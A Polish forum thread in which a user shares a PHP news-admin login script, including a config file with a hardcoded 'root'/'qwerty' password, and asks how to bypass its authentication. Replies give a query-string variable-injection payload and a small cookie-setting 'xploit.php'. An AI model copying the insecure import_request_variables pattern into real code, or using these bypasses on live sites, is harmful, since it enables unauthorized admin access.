Pokaż wyniki 1 do 10 z 10

Temat: Czy w tym skrypcie jest jakiś błąd?

  1. #1
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Lightbulb Czy w tym skrypcie jest jakiś błąd?

    Już dłuższy czas siedzę nad tym skryptem i szukam jakiegoś błędu. Coś mi mówi, że jakiś tam jest, tylko go znaleźć nie mogę Może wy coś znajdziecie.
    Oto plik admin.php:
    Kod:
    <?
    
    
    
      require("config.inc.php");
      
    
      if (isset($_REQUEST['poprawny_login']) || isset($_REQUEST['poprawne_haslo'])) {
      	die ('<img src="http://www.programuj.com/moje/comnews/pozdrawiam.gif">');
      }
        import_request_variables("GP","");
    
      if ($haslo==$poprawne_haslo && $login==$poprawny_login)
    
      {
    
       include("head.inc");
    
    //różne nieistotne dla nas instrukcje :)
    
    
    ?>
    Tu powinienem wytłumaczyć dlaczego autor skryptu wstawił fragment: if (isset($_REQUEST['poprawny_login']) || isset($_REQUEST['poprawne_haslo'])) {
    die ('<img src="http://www.programuj.com/moje/comnews/pozdrawiam.gif">');
    Otóż w starszej wersji tego nie było, a jakie były tego konsekwencje można zobaczyć: http://hack.pl/forum/thread4268,comboys_news_17.html
    Czy można jakoś to ominąć? Może gdzie indziej znajdziecie błąd.
    login.php:
    Kod:
    <?
    
     require("config.inc.php");
    
     import_request_variables("GPC","");
    
     if ($login==$poprawny_login && $haslo==$poprawne_haslo)
    
     {
    
      setcookie("haslo",$haslo);
    
      setcookie("login",$login);
    
      Header("Location: admin.php");
    
     } else
    
     {
    
      include("head.inc");
    
      echo("<BR><BR><CENTER><FONT color=red><B>Błędy login i/lub hasło</B> !</FONT><BR><BR><BR>\n");
    
      echo("<A href='index.php'>Powrót do strony logowania</A></CENTER>");
    
    
    
      include("stopka.inc");
    
     }
    
    
    
    ?>
    Oraz index.php:
    Kod:
     <? include("head.inc"); ?>
    
     <BR><BR>
    
     <CENTER>
    
     Aby mieć możliwość administracji systemem newsów, musisz się zalogować:<BR><BR>
    
     <FORM action="login.php" method="post">
    
     <TABLE border=0 >
    
     <TR><TD>Login: </TD><TD><INPUT type=text name=login></TD></TR>
    
     <TR><TD>Hasło: </TD><TD><INPUT type=password name=haslo></TD></TR>
    
     <TR><TD colspan=2 align=center><BR><INPUT type=submit value="       Zaloguj się       "></TD></TR>
    
     </TABLE>
    
     </CENTER>
    
     <? include("stopka.inc"); ?>
    I to by było na tyle

  2. #2

    Domyślnie

    Kod:
    if (isset($_REQUEST['poprawny_login']) || isset($_REQUEST['poprawne_haslo'])){
      	die ('<img src="http://www.programuj.com/moje/comnews/pozdrawiam.gif">');
      }
    Warunek sprawdza, czy są ustawione 'poprawny_login' LUB 'poprawne_haslo'. Ponieważ są (bo ustawiasz je wcześniej w login.php jako ciasteczka, a $_REQUEST odpowiada tablicom $_GET, $_POST i $_COOKIE), dla poprawnego hasla LUB loginu warunek będzie spelniony, więc wykona się die() z tym gif-em.

    Poprawnie powinno więc być:
    Kod:
    if ( !(isset($_REQUEST['poprawny_login']))  || !(isset($_REQUEST['poprawne_haslo'])) )
    - czyli przy nie spełnieniu jednego z warunków pojawia sie ten gif "pozdrawiam.gif" , bo zakładam, że o to Ci chodziło?
    "...i stało się! Linie telefoniczne otworzyły mi bramę do świata
    upajającego jak heroina pulsująca w żyłach ćpuna! Elektronicznym
    sygnałem przekraczam wrota szukając ucieczki od codzienności,
    głupoty i niesprawiedliwości... i znajduję podobnych sobie."

  3. #3
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    Nie, nie nie Widzę, że źle pytanie sformuławem. Ten skrypt działa bez twoich poprawek, blooregard. Mi chodziło o błąd w sensie błąd w zabezpieczeniach. Czy macie jakieś pomysły jak obejść te zabezpieczenia

  4. #4
    Zarejestrowany
    May 2008
    Postów
    534

    Domyślnie

    Już dłuższy czas siedzę nad tym skryptem i szukam jakiegoś błędu.
    Caly skrypt to jedna wielka pomylka. Powinienes zapytac: jak to zrobic, aby bylo dobrze.

  5. #5

    Domyślnie

    Aha. No to faktycznie źle sformułowałeś.

    Mnie udało się złamać to w ten sposób:
    Kod:
    login.php?poprawny_login=a&login=a&poprawne_haslo=a&haslo=a
    Spowodowało to, że w pliku login.php sprawdzenie warunku:
    Kod:
     if ($login==$poprawny_login && $haslo==$poprawne_haslo)
    
     {
    było prawdziwe, bo (a==a && a==a).
    A pod każdą z tych zmiennych można podstawic dowolną wartość poprzez GET-a, bo wcześniej uzyłeś f-kcji
    Kod:
     import_request_variables("GP","");
    , co jest niemal równoznaczne z użyciem register_globals.

    Nie wiem, co jest u Ciebie w pliku config.inc.php i jak odczytujesz ten prawidlowy_login i prawidlowe_haslo, ale to raczej chyba nie ma znaczenia w tym przypadku.
    "...i stało się! Linie telefoniczne otworzyły mi bramę do świata
    upajającego jak heroina pulsująca w żyłach ćpuna! Elektronicznym
    sygnałem przekraczam wrota szukając ucieczki od codzienności,
    głupoty i niesprawiedliwości... i znajduję podobnych sobie."

  6. #6
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    To login.php?poprawny_login=a&login=a&poprawne_haslo= a&haslo=a też wymyśliłem, ale nie działa Po wpisaniu wyświetla się "nieprawidłowy login i/lub hasło", więc to nie to :P

  7. #7

    Domyślnie

    Aha. Więc za mało kodu przytoczyłeś .
    A co jest w tym config.inc.php ?
    "...i stało się! Linie telefoniczne otworzyły mi bramę do świata
    upajającego jak heroina pulsująca w żyłach ćpuna! Elektronicznym
    sygnałem przekraczam wrota szukając ucieczki od codzienności,
    głupoty i niesprawiedliwości... i znajduję podobnych sobie."

  8. #8
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    Oto i on:
    Kod:
    <?
    
    
    
    $poprawny_login = "root";    // Tutaj wpisz swój login
    
    $poprawne_haslo = "qwerty";  // A tutaj hasło
    
    $katalog = "comnews/";       // Nazwa katalogu w którym znajduje się skrypt. Może to być
    
                                 // katalog bezwzględny lub względem pliku w którym skrypt
    
                                 // jest includowany.
    
                                 
    
    $ile = 3;                    // Iloœć najnowsyzch newsów które zostanš wyœwietlone.
    
    
    
    ?>

  9. #9

    Domyślnie

    No to może tak: (zakładamy, że intruz wie, że to w pliku config.inc.php jest zapisane prawidłowe hasło i login,ale nie ma do niego dostępu i nie może go odczytać, tak? )
    Kod:
    <?php
    // pliczek xploit.php 
    require("config.inc.php");
    
    setcookie("haslo",$poprawne_haslo);
    setcookie("login",$poprawny_login);
    
    header("Location:admin.php");
    
    ?>
    U mnie zadziałało, na Twoim kodzie.
    "...i stało się! Linie telefoniczne otworzyły mi bramę do świata
    upajającego jak heroina pulsująca w żyłach ćpuna! Elektronicznym
    sygnałem przekraczam wrota szukając ucieczki od codzienności,
    głupoty i niesprawiedliwości... i znajduję podobnych sobie."

  10. #10
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    No tak, ale tego exploita nie da się użyć na serwerze www, bo tam przecież nie umieścimy tego twojego exploita

Podobne wątki

  1. blad w skrypcie, funkcja str_replace()
    By gogulas in forum PHP/CGI/ASP/JSP/J2EE
    Odpowiedzi: 1
    Autor: 03-22-2008, 20:37
  2. Czy wiecie co to jest??
    By matek_112 in forum Newbie - dla początkujących!
    Odpowiedzi: 3
    Autor: 10-18-2007, 17:03
  3. Odpowiedzi: 2
    Autor: 05-12-2007, 13:27
  4. czy jest różnica?
    By markossx in forum PHP/CGI/ASP/JSP/J2EE
    Odpowiedzi: 14
    Autor: 04-17-2007, 10:02
  5. md5 czy książka ma błąd ?
    By gargamel in forum Kryptografia
    Odpowiedzi: 2
    Autor: 01-24-2007, 15:40

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj